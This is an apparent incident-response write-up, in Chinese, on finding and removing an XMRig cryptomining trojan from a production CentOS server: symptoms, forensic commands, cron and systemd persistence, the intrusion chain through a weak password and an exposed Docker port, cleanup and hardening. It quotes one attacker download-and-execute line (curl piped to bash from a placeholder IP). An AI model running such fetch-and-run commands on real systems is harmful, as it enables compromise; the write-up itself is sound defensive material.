一次服务器被植入XMRig挖矿木马导致CPU长期满载的排查清剿实录

一台生产服务器CPU长期占用100%,业务响应变慢,最终定位为XMRig挖矿木马,并完整还原入侵路径与清剿流程。

一、问题背景

某天上午,业务团队反馈核心订单处理服务响应明显变慢,接口 P99 延迟从平时的 200ms 飙升至 2s 以上,且偶发超时告警。该服务部署在一台 16C32G 的 CentOS 7.9 物理服务器上(hostname: app-ord-07),上面同时跑了订单 API(Java/Spring Boot)、一个 Redis 实例和定时任务 worker。

这台机器并未直接暴露公网,仅开放了 80/443(由前端 Nginx 反代)和 22 端口,22 端口做了"仅允许运维跳板机网段"的 iptables 限制。按理说被外部直接攻陷的概率不高,但因为历史原因,jump host 上的部分账号口令较弱,且存在一台测试机曾意外开放过 0.0.0.0/0 的 2375(Docker 无鉴权端口)。这正是本次事件的隐患起点。

二、故障现象

登上服务器后,第一反应是这台机器"忙得不正常":

  • CPU 长期 100%top 显示有 16 个同名进程 kthreadd/0kworker 变体(实际是伪装名)各占一个核心,整体 load average 长期在 16.0 以上,与核心数持平。
  • 业务被拖慢:订单 API 的 GC 时间变长,Redis 的 used_cpu_sys 飙升,但应用本身进程 CPU 占用反而被挤到很低。
  • 进程名可疑top 里排在最前的进程名频繁变动(一会儿 kthreadd,一会儿 systemd-network),通过 ps -ef 看到的完整命令行却指向 /var/tmp/.cache/... 这种隐藏目录。
  • 网络有外联iftop 显示机器持续向几个境外 IP 的 33338080 端口建立大量 TCP 连接,出向流量不大但连接数极多。
  • 文件描述符与连接数异常ss -antp 看到数百个到矿池域名的 ESTABLISHED 连接,且有规律的重连行为。

基本可以断定:这不是性能问题,是机器"被拿去挖矿了"。

三、排查过程

3.1 定位恶意进程

先看占用最高的进程 PID 及其真实路径:

1
2
3
4
top -c                 # 按 P 排序,记录可疑 PID
ls -l /proc/<PID>/exe  # 看真实可执行文件路径
cat /proc/<PID>/cmdline | tr '\0' ' '; echo
readlink -f /proc/<PID>/cwd   # 看工作目录

发现主进程落在 /var/tmp/.cache/ken/.ken 之类带隐藏目录的路径下。继续看它拉起的子进程与守护脚本:

1
ps -ef | grep -E 'var/tmp|\.cache|/\.tmp' | grep -v grep

3.2 找到守护与自启机制

挖矿木马一般都会做"自杀重启"和"开机自启",否则一眼就能 kill 掉。重点排查三处:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
# 1. crontab
crontab -l
cat /etc/cron.d/* 2>/dev/null
ls -la /etc/cron.hourly/

# 2. systemd 单元
systemctl list-unit-files | grep -iE 'ken|cache|myapp|random'
ls -la /etc/systemd/system/ | grep -viE '^(\.|-)'

# 3. 开机脚本与 rc.local
cat /etc/rc.local
ls -la /etc/init.d/

果然在 /etc/cron.d/ 下发现一个伪装成 0systemd 的定时任务,每分钟执行一次下载并拉起挖矿程序;同时 /etc/systemd/system/ 里有一个 myapp.service 做持久化。

3.3 定位挖矿主体与配置

进入隐藏目录,查看主程序与配置文件:

1
2
3
ls -la /var/tmp/.cache/ken/
cat /var/tmp/.cache/ken/config.json   # 矿池地址、钱包、线程数
strings /var/tmp/.cache/ken/.ken | grep -iE 'pool|wallet|stratum|xmrig'

config.json 暴露了关键信息:矿池为某 stratum+tcp 地址,钱包是一串 Monero(XMR)地址,threads 被设为机器的全部核心数。确认这就是 XMRig 的变体。

3.4 顺藤摸瓜找入侵入口

既然机器没直接暴露公网,要弄清楚入口。查近期登录与历史命令:

1
2
3
4
last -Faiw | head
grep -iE 'Accepted|Failed' /var/log/secure | tail -50
cat ~/.bash_history
journalctl _COMM=sshd | grep -i accept

发现跳板机弱口令账号在凌晨被爆破成功,随后执行了下载脚本:

1
2
3
history | grep -iE 'curl|wget|bash|sh '
# 典型一行下载执行:
# curl -fsSL http://x.x.x.x/x.sh | bash

进一步比对 Docker 2375 端口的暴露时间窗,确认攻击者先打穿测试机的 Docker 无鉴权端口拿到宿主机,再用内网横向移动,最终落地到 app-ord-07。这也解释了为什么进程名会伪装成 kthreadd/kworker

3.5 确认横向与持久化范围

为防"只清了一台、别的机器还在",快速横向检查同网段:

1
2
# 在跳板机批量看各节点是否有同名隐藏进程/cron
pssh -h hosts.txt -i 'ps -ef | grep -E "var/tmp|\.cache" | grep -v grep'

发现另有两台主机症状相同,说明是一次批量入侵,必须统一处置。

四、解决方案

清剿遵循"先止血、再清理、后加固"的顺序,且先在受影响的业务侧做限流降级,避免清理过程抖动放大故障。

  1. 隔离与止血:在交换机/防火墙侧临时把 app-ord-07 与另外两台失陷主机的出向对矿池 IP 段做 DROP(保留跳板机管理通道),阻断挖矿外联。
1
iptables -A OUTPUT -d <矿池网段> -j DROP
  1. 杀进程:先 kill 掉守护与子进程,再 kill 主进程,避免被守护脚本立刻拉起。
1
2
3
systemctl stop myapp.service
pkill -9 -f '/var/tmp/.cache'
pkill -9 xmrig
  1. 删持久化:移除 crontab、systemd unit、rc.local 条目、隐藏目录。
1
2
3
4
5
rm -f /etc/cron.d/0systemd
systemctl disable --now myapp.service
rm -f /etc/systemd/system/myapp.service
rm -rf /var/tmp/.cache /tmp/.cache
# 修正 /etc/rc.local 中被追加的行
  1. 清登录与凭证:删除被爆破的弱口令账号、重置相关用户密码、回收泄露的 SSH key,并审查 authorized_keys

  2. 业务恢复:确认 CPU 回落、矿池连接断开后,逐步放开限流,观察订单 API 延迟与 Redis 指标回归正常。

  3. 横向处置:对另外两台同症状主机重复上述步骤,并在跳板机强制开启 MFA、封禁 Docker 2375 端口。

五、根因分析

  • 直接原因:XMRig 木马以系统全部核心并行挖矿,抢占 CPU 调度,导致业务进程拿不到计算资源,P99 延迟飙升。
  • 入侵根因:跳板机弱口令被爆破 + 测试机 Docker 2375 端口无鉴权暴露公网,攻击者据此拿到内网立足点并横向移动。
  • 放大因素:失陷主机未对出向连接做白名单限制,木马能自由外联矿池;且缺乏主机级入侵检测(EDR/HIDS),攻击持续数天才被发现。

六、预防措施

  • 收敛暴露面:Docker daemon 绝不开放 2375 无鉴权端口,确需远程管理走 TLS 双向认证或 SSH 隧道;非必要端口一律不对外开放。
  • 口令与认证:跳板机、服务器禁用弱口令,强制 SSH key + MFA;定期用 lynis/ssh-audit 做基线核查。
  • 出向白名单:生产服务器 egress 默认 DROP,仅放行 DNS、NTP、镜像与业务依赖的有限目标;矿池常见端口(3333/8080/14444 等)可在边界统一封禁。
  • 主机入侵检测:部署 osquery / Wazuh / 云厂商 HIDS,对异常高 CPU、隐藏目录可执行文件、可疑 crontab/systemd 变更做实时告警。
  • 最小权限与分区:业务以非 root 运行;/tmp/var/tmp 挂载 noexec,nosuid,让下载到临时目录的恶意脚本无法直接执行。
  • 应急准备:固化本文的"查进程 → 找守护 → 断外联 → 杀进程 → 删持久化 → 改凭证 → 横向排查"七步法为 SOP,并定期演练。

七、总结

这次事件从"CPU 满载、业务变慢"的表象,一步步还原出"弱口令爆破 → Docker 端口暴露 → 内网横向 → XMRig 挖矿"的完整链条。技术上的清理并不复杂——杀进程、删自启、断外联、改凭证即可;真正的教训在暴露面收敛与纵深防御:不要把信任建立在"机器没公网 IP"上,内网横向移动往往比想象中容易。把 egress 白名单、主机 IDS、noexec 临时分区这三道防线补上,下次同类攻击大概率会在落地前就被拦下。